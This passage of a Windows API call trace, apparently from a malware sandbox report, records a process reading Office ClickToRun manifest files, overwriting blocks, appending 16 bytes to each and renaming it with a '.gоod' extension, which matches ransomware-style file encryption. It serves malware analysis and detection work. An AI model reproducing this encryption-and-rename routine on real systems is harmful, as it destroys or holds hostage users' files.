lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0090.029] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x76 [0090.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0090.030] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x31e00262, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19880)) returned 1 [0090.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0090.030] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.gоod")) returned 1 [0090.030] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0090.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0090.030] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x34a79c0 | out: lpFileInformation=0x34a79c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0090.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0090.198] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0090.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0090.200] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.200] GetFileType (hFile=0x79c) returned 0x1 [0090.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0090.200] GetFileType (hFile=0x79c) returned 0x1 [0090.201] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x7fa [0090.201] ReadFile (in: hFile=0x79c, lpBuffer=0x331d0a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x331d0a0*, lpNumberOfBytesRead=0x1faee6b8*=0x7fa, lpOverlapped=0x0) returned 1 [0090.227] CloseHandle (hObject=0x79c) returned 1 [0090.269] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0090.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0090.269] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.270] GetFileType (hFile=0x79c) returned 0x1 [0090.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0090.270] GetFileType (hFile=0x79c) returned 0x1 [0090.270] WriteFile (in: hFile=0x79c, lpBuffer=0x3399620*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3399620*, lpNumberOfBytesWritten=0x1faee5c8*=0x800, lpOverlapped=0x0) returned 1 [0090.271] CloseHandle (hObject=0x79c) returned 1 [0090.271] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", lpFilePart=0x0) returned 0x74 [0090.271] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x79 [0090.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0090.271] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3203c7a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0090.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0090.271] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.gоod")) returned 1 [0090.789] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0090.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0090.789] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a4848 | out: lpFileInformation=0x33a4848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c)) returned 1 [0090.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0090.790] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0090.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0090.790] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0090.790] GetFileType (hFile=0x778) returned 0x1 [0090.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0090.790] GetFileType (hFile=0x778) returned 0x1 [0090.790] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0090.790] ReadFile (in: hFile=0x778, lpBuffer=0x33a4de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33a4de0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0090.792] CloseHandle (hObject=0x778) returned 1 [0090.792] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0090.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0090.792] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0090.792] GetFileType (hFile=0x778) returned 0x1 [0090.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0090.792] GetFileType (hFile=0x778) returned 0x1 [0090.792] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x17b3c [0090.792] WriteFile (in: hFile=0x778, lpBuffer=0x33a6168*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33a6168*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0090.793] CloseHandle (hObject=0x778) returned 1 [0090.793] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0090.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0090.794] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0090.794] GetFileType (hFile=0x778) returned 0x1 [0090.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0090.794] GetFileType (hFile=0x778) returned 0x1 [0090.794] ReadFile (in: hFile=0x778, lpBuffer=0x33a8528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33a8528*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0091.190] CloseHandle (hObject=0x778) returned 1 [0091.190] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0091.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0091.190] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0091.191] GetFileType (hFile=0x778) returned 0x1 [0091.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0091.191] GetFileType (hFile=0x778) returned 0x1 [0091.191] WriteFile (in: hFile=0x778, lpBuffer=0x330c778*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x330c778*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0091.191] CloseHandle (hObject=0x778) returned 1 [0091.191] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0091.191] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x84 [0091.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0091.191] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x329072eb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17b4c)) returned 1 [0091.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0091.191] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.gоod")) returned 1 [0091.192] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0091.192] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3491448 | out: lpFileInformation=0x3491448*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a)) returned 1 [0091.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0091.193] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0091.193] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0091.193] GetFileType (hFile=0x778) returned 0x1 [0091.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0091.193] GetFileType (hFile=0x778) returned 0x1 [0091.193] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0091.193] ReadFile (in: hFile=0x778, lpBuffer=0x3491970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0091.503] CloseHandle (hObject=0x778) returned 1 [0091.569] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0091.569] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.570] GetFileType (hFile=0x7b4) returned 0x1 [0091.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0091.570] GetFileType (hFile=0x7b4) returned 0x1 [0091.570] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x4a4a [0091.570] WriteFile (in: hFile=0x7b4, lpBuffer=0x33bc900*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33bc900*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0091.571] CloseHandle (hObject=0x7b4) returned 1 [0091.572] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0091.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0091.572] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.572] GetFileType (hFile=0x7b4) returned 0x1 [0091.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0091.572] GetFileType (hFile=0x7b4) returned 0x1 [0091.572] ReadFile (in: hFile=0x7b4, lpBuffer=0x33bee38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33bee38*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0091.602] CloseHandle (hObject=0x7b4) returned 1 [0091.602] GetFullPathNameW (in: 